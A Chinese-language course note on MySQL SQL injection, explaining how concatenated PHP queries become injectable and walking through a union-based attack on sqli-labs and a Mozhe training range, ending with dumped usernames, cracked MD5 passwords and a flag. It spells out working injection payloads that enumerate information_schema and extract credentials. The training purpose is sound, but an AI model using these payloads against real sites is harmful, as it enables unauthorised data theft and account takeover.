[toc]
前言:在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。(右边是重点)

涉及知识
上述思维导图简要说明
SQL注入安全测试中危害
分为两类:
危害数据库里的数据
- 数据库信息泄露
- 网页篡改:登陆后台后发布恶意内容
直接危害到网站的权限(需要满足条件)
- 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
- 私自添加系统账号
- 读写文件获取webshell
SQL注入产生原理详细分析
原理
通过参数传递,将恶意SQL语句传到后台可以执行的SQL语句当中,实现自定义的攻击方式
- 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入
- 使用了字符串拼接的方式构造SQL语句
简易代码分析SQL注入原理
以sqlilabs-Lesson-2为例查看PHP参数的传递和SQL语句的构造过程
以下是sqlilabs-Lesson-2目录下的index.php代码中的php部分,注意看中文注释
1 |
|
以上代码执行SQL语句的过程,本质上就是传递SQL语句到数据库当中去执行
比如客户端传参数时访问链接为
http://localhost/pentest/sqlilabs/Less-2/index.php?id=1

则实际在MySQL数据库中执行的查询语句就是
1 | SELECT * FROM users WHERE id=1 LIMIT 0,1 |

同理客户端传参数时访问链接为
http://localhost/pentest/sqlilabs/Less-2/index.php?id=-2

则实际在MySQL数据库中执行的查询语句就是
1 | SELECT * FROM users WHERE id=-2 LIMIT 0,1 |

同理客户端传参数时访问链接为(假定知晓数据库名及列名(当然这些可以从MySQL默认的表当中获得,后续学习))
http://localhost/pentest/sqlilabs/Less-2/index.php?id=-2 union select 1,email_id,3 from emails

则实际在MySQL数据库中执行的查询语句就是
1 | SELECT * FROM users WHERE id=-2 union select 1,email_id,3 from emails LIMIT 0,1 |

可见,如果对客户端提交的SQL语句参数不加过滤,则会直接拼接到SQL语句中执行,若有意利用,则会产生极大危害。
==注意最终显示结果的宽度是由原来的、规范的、正常的SQL语句执行结果决定的,这也正是提交id=-2的原因,因为基本不可能有id为负值,提交后前一句查询结果为空,但是显示位置还在,就会在空处显示为我们想要查询的SQL结果。==

SQL注入产生条件
可控变量,代入数据库查询,变量未过滤或过滤不严谨
可控变量:即变量可以由客户端控制,或者说可以通过参数传递改变
上述源码中的
$id就是一个可控变量:$id=$_GET['id'];带入数据库查询:将参数拼接到SQL语句中带入数据库执行
上述源码中的
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";就把客户端传递的参数id通过变量$id拼接到了SQL语句当中完成拼接查询:需要有能够执行SQL语句的函数来执行拼接好的SQL语句
上述源码中的
$result=mysqli_query($con, $sql);就将拼接好的SQL语句代入数据库执行查询变量未过滤或过滤不严谨
可能存在SQL注入的URL特征
问:以下可能存在注入的编号选项?
答:是1 2 3 4 都可能存在SQL注入漏洞
| 选项 | 分析 |
|---|---|
| 1 www.xiaodi8.com/index.php?id=8 | 如上例所示,可能存在 |
| 2 www.xiaodi8.com/?id=10 | 相当于1,只是将index.php被省略了 |
| 3 www.xiaodi8.com/?id=10&x=1 | 多加了一个参数, 本质和上例相同 |
| 4 www.xiaodi8.com/index.php | 可能有post注入,post方式提交在地址上看不到 |
问:参数x存在注入,以下那个注入测试是正确的?
答:B、C
注意:url中&是连接不同参数的间隔符,and是SQL语句中的与关系,对前面查询的语句进行追加限定作用的,别搞混了
| 选项 | 分析 |
|---|---|
| A www.xiaodi8.com/news.php?y=1 and 1=1&x=2 | 错误。注入点是x,却把注入的代码写在了y的后面,x后面没有注入语句 |
| B www.xiaodi8.com/news.php?y=1&x=2 and 1=1 | 正确。 |
| C www.xiaodi8.com/news.php?y=1 and 1=1 &x=2 and 1=1 | 正确。 |
| D www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1 | 错误。错误的原因是注入点是x,却没有出现x这个变量的参数传递 |
搭建SQL注入学习靶场环境——sqlilabs
sqli-labs项目地址
https://github.com/Audi-1/sqli-labs
安装说明
- 解压apache文件夹内的内容,例如/var/www
- 这将在其下创建一个文件夹sqlilabs,将下载的源码放在里面
- 打开 sql-labs 文件夹内 sql-connections 文件夹下的文件“db-creds.inc”。
- 更新您的 MYSQL 数据库用户名和密码。
- 从浏览器访问 sql-labs 文件夹以加载 index.html(http://127.0.0.1/pentest/sqlilabs/index.html)
- 单击链接 setup/resetDB 以创建数据库、创建表和填充数据。
- 准备使用的实验室,点击课程编号打开课程页面。
- 享受实验室
MySQL注入基础
信息收集:不同于前面广义的信息收集,此处SQL注入的信息收集只涉及收集数据库相关的信息,为后续SQL注入操作做准备
数据注入:看图:高低版本以MySQL5.0为界限,5.0版本之前没有information_schema数据库
高权限注入:下一天

MySQL数据库的基本结构
网站A——→数据库A——→表名——→列名——→数据
网站B——→数据库B——→表名——→列名——→数据
网站C——→数据库C——→表名——→列名——→数据
这也是进行SQL注入时的一般思路来源:欲获取数据库里的数据,前期的数据库名、表名、列名都需要知道
SQL语句基础:基本SQL语句及其执行结果
进入MySQL命令行
鼠标右键phpstudy——MySQL工具——MySQL命令行——输入数据库密码——mysql>
常用的MySQL命令及其返回结果
常用MySQL命令
| 作用 | 命令 |
|---|---|
| 显示数据库列表 | show databases |
| 切换数据库 | use 数据库名 |
| 显示库中的数据表 | use 数据库名; show tables; |
| 显示数据表的结构 | describe 表名 |
| 显示表中的所有记录 | select * from 表名 |
| 将表中记录清空 | delete from 表名; |
| 建库 | create database 库名 |
| 建表 | use 库名;create table 表名 (字段设定列表); |
| 删库和删表 | drop database 库名; drop table 表名; |
执行命令的显示效果
show databases; 显示数据库列表

use 数据库名; 切换数据库

show tables; 显示数据库中的表名列表

select * from 表名; 显示表中的所有记录

==select * from users where id = 5 or id = 6; 查询特定条件下的数据记录可见查询结果是一条或多条的数据记录==

order by 1,2,3,4——用于猜解SQL语句返回结果的字段数量
含义
sql语句中order by 1或者order by 2…order by N
其实1表示第一个栏位,2表示第二栏位;
依此类推,当表中只有2个栏位时,oder by 3就会出错,这个跟order by 列名没有什么区别,不过在特殊情况下还是很有用的.
注意
- 用于猜解SQL语句返回结果的字段数量,未必是最终显示在前端的字段数量
- ORDER BY ASC应该没有这样写法,ORDER BY 后面不是字段就是数字;
- 可以ORDER BY 1 ASC 或者ORDER BY COL1 ASC ;
- ASC表示按升序排序,DESC表示按降序排序
执行
select * from users order by 3 limit 0,5;

select 1,2,3,4,5——猜解输出位置
select 1,2,3 from users; 效果如下

limit N,M——变动猜解多个数据
select 1,2,3 from users limit 0,1;
- limit N,M : 相当于 limit M offset N , 从第 N 条记录开始, 返回 M 条记录;
- 此句在SQL注入中用于猜解输出位置
select * from users; 查询users表的所有数据

select * from users limit 0,1; 查询users表的所有信息,只显示第0条数据(从0开始计数)

select 1,2,3 from users limit 0,1;

select 1,2,3,4,5,6,7 from users limit 0,1;

group_concat()函数——连接一个组的所有字符串,并以逗号分隔每一条数据
information_schema数据库(数据库字典)
在MYSQL5.0以上版本中,MYSQL存在一个自带的名为information_schema的数据库,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权限等。
再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,
每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。
数据库中符号”.”代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
| 表名 | 字段信息 |
|---|---|
| information_schema.schemata | 列schema_name记录了所有数据库的名字(高权限跨库查询时用来查数据库名) |
| information_schema.tables | 列table_schema记录了所有数据库的名字 |
| information_schema.tables | 列table_name记录了所有数据库的表的名字 |
| information_schema.columns | 列table_schema记录了所有数据库的名字 |
| information_schema.columns | 列table_name记录了所有数据库的表的名字 |
| information_schema.columns | 列column_name记录了所有数据库的表的列的名字 |
MySQL版本5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名。
information_schema数据库概览
如information_schema数据库中的tables表如下:

如information_schema数据库中的columns表如下:

显错注入-联合查询(Mysql数据库)的基本流程图示

SQL注入的最一般流程
第1步:判断是否存在注入点
老办法
- 注入点之后加
and 1=1页面正常 - 注入点之后加
and 1=2页面错误
则可能存在注入点
原理:SQL语句的条件在WHERE之后(WHERE 子句用于提取那些满足指定条件的记录。)
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
id=1 ——真
1=1 ——真
1=2 ——假
真 and 真 = 真,则SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 ,意思是查询id为1并且1=1条件下的数据库数据,若真能传入数据库执行,则必定执行正常
真 and 假 = 假,则 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 ,意思是查询id为1并且1=2条件下的数据库数据,若真能传入数据库执行,则必然执行错误
能不能用or判断?不能!
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常
原因
当or前面的语句为真的时候,不能判断第两个语句为真还是假
新办法
1 | SELECT * FROM users WHERE id=1dadad(随便输入) LIMIT 0,1 |
在可能存在注入的变量后随便输入值后,存在三种情况:
对网页有影响即返回结果发生变化,说明带入数据库进行查询有注入点;
对网页没有影响即返回结果无变化,说明没有带入数据库查询,说明对应的参数没有漏洞,可能是参数被过滤了;
网站出现404错误或自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,基本不存在SQL注入漏洞。
第2步: 猜解列名字段数量 order by
提交?id=1 order by x
x可先后尝试1、2、3、4、5……x;x是正常与错误的临界值
order by猜解列名字段数量原理
order by是mysql中对查询数据进行排序的方法,是对查询结果进行排序, 使用示例
1 | select * from 表名 order by 列名(或者数字) asc;升序(默认升序) |
这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
1 | select * from user order by id; |
order by 用于判断显示位,order by 原有的作用是对查询结果按照第x个字段进行排序。
在sql注入中用order by 来判断排序,order by 1就是对一个字段进行排序,如果一共4个字段,你order by 5 ,则数据库不知道怎么排序,就执行错误无返回值,字段数量x就是order by正常排序与错误排序的临界值。
查询结果是一条或多条数据构成的表,因此通过order by x 就能知道最终查询结果包含几个字段,因为后续的union联合查询的字段数必须相同。
第3步:联合查询寻找输出点 union select 1,2,3,…,x
union select如何发挥作用
union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sq查询(我们添加的),但两张表联合查询的字段数必须相同。
-1 union select1,2,3,…,x寻找输出点
正常查询语句的执行结果可能是一条或多条数据,通过代码调整在输出时只显示特定的一条或多条数据的部分字段。
因此设法让前一部分SQL语句执行结果为空,联合后一段执行select1,2,3,…,x,就能知道输出时显示的字段是在1,2,3,4的哪个位置,后续只需要调整输出位置的数字,让前段显示我们想要的结果。
第4步:信息收集——在注入点处向系统自带库查询库名、表名、字段名
爆数据库基本信息
| 所用函数 | 收集信息 |
|---|---|
| version() | 查数据库版本 |
| database() | 查数据库名称 |
| user() | 查用户名 |
| @@version_compile_os | 查操作系统 |
在系统自带数据库information_schema中爆表名和字段名
利用 union select 联合查询information_schema.tables,获取表名
即查询名为当前数据库(上述database()已经查到)的数据库下,有哪些数据表,得到当前数据库的所有表名
1 | ?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='已知库名' |
利用 union select 联合查询information_schema.columns,获取列名(字段名)
即查询名为已知表名的数据表中,有哪些列(字段),得到当前数据库的这张表中的所有列名
1 | ?id=-1'union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='已知表名' |
至此,我们已经能知道当前数据库的所有表名以及所有数据表的所有列名,对于一个基本查询语句SELECT 列名1,列名2 FROM 表名而言,已经具备了基本条件。
第5步:查询指定数据
利用 union select 联合查询上述查到的表名,获取列值(字段值)
1 | ?id=-1' union select 1,列名1,列名2,4 from 已知表名 |
涉及案例
简易代码分析SQL注入原理
(见上)
sqlilabs注入靶场搭建简要使用
(见上)
墨者靶机真实MySQL注入演示
靶机地址:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
第1步:判断是否存在注入点
?id=1

?id=1fjaioghiajkasdlg

则说明有可能存在SQL注入
第2步: 猜解列名字段数量 order by
order by 4 显示正常 http://219.153.49.228:45239/new_list.php?id=1order%20by%204 %20是空格的url编码

order by 5 显示异常 http://219.153.49.228:45239/new_list.php?id=1%20order%20by%205 %20是空格的url编码

第3步:联合查询寻找输出点 union select 1,2,3,…,x
http://219.153.49.228:49521/new_list.php?id=-1 union select 1,2,3,4

第4步:信息收集——库名、表名、字段名
爆数据库基本信息
爆数据库版本、数据库名

爆用户名、操作系统

得到以下基础信息:
| 收集信息 | 值 |
|---|---|
| 数据库版本 | 5.7.22-0ubuntu0.16.04.1 |
| 数据库名称 | mozhe_Discuz_StormGroup |
| 用户名 | root |
| 操作系统 | Linux |
在系统自带数据库information_schema中爆表名和字段名
查询指定数据库名下的所有表名信息:
在informa_schema数据库中指定table_schema字段(即数据库名)的值为mozhe_Discuz_StormGroup下的所有表名table_name信息:
1 | http://219.153.49.228:49521/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’ |
1 | //在informa_schema库中查询table_schema为‘mozhe_Discuz_StormGroup’的所有数据,输出到注入点 |

得到数据库 mozhe_Discuz_StormGroup中一共有两张表,表名分别是StormGroup_member和notice
查询指定表名的所有列名信息
在information_schema数据库中指定table_name字段(即表名)的值为StormGroup_member下的所有列名column_name信息:
1 | http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’ |
1 | //在informa_schema库中查询table_name为‘StormGroup_member’的所有数据,输出到注入点 |

得到数据库mozhe_Discuz_StormGroup中的表StormGroup_member中一共有4列,列名分别为id、name、password、status
至此我们就掌握了当前数据库mozhe_Discuz_StormGroup下的表StormGroup_member的全部信息,同理可以查到数据库mozhe_Discuz_StormGroup下其他表的信息。
比如StormGroup_member表的结构如下:
| id | name | password | status |
|---|---|---|---|
| …… | …… | …… | …… |
第5步:查询指定数据
查询用户表中的用户名和密码信息
认定StormGroup_member就是数据库的用户表
在数据库mozhe_Discuz_StormGroup中的表StormGroup_member中查询用户名和密码信息
1 | http://219.153.49.228:49521/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member |

猜解多个数据——通过limit n,1 变动猜解多个数据
如果查询结果是多条数据,而输出显示只显示一条数据中的部分字段,采用limit n,1来将每一条数据显示到注入输出点处:
1 | http://219.153.49.228:49521/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1 |

1 | http://219.153.49.228:49521/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1 |

1 | http://219.153.49.228:49521/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 2,1 |
这就说明数据库mozhe_Discuz_StormGroup中的表StormGroup_member中只有2条数据,其用户名和密码如下:
| id | name | password | status |
|---|---|---|---|
| …… | mozhe | 356f589a7df439f6f744ff19bb8092c0 解密:dsan13 | …… |
| …… | mozhe | e88c63a5c7b6fa8e5055ad185755a8dc 解密:176387 | …… |
对查到的密码进行MD5解密后尝试登录:
第一个用户被禁用:

第二个用户成功登录并拿到flag:
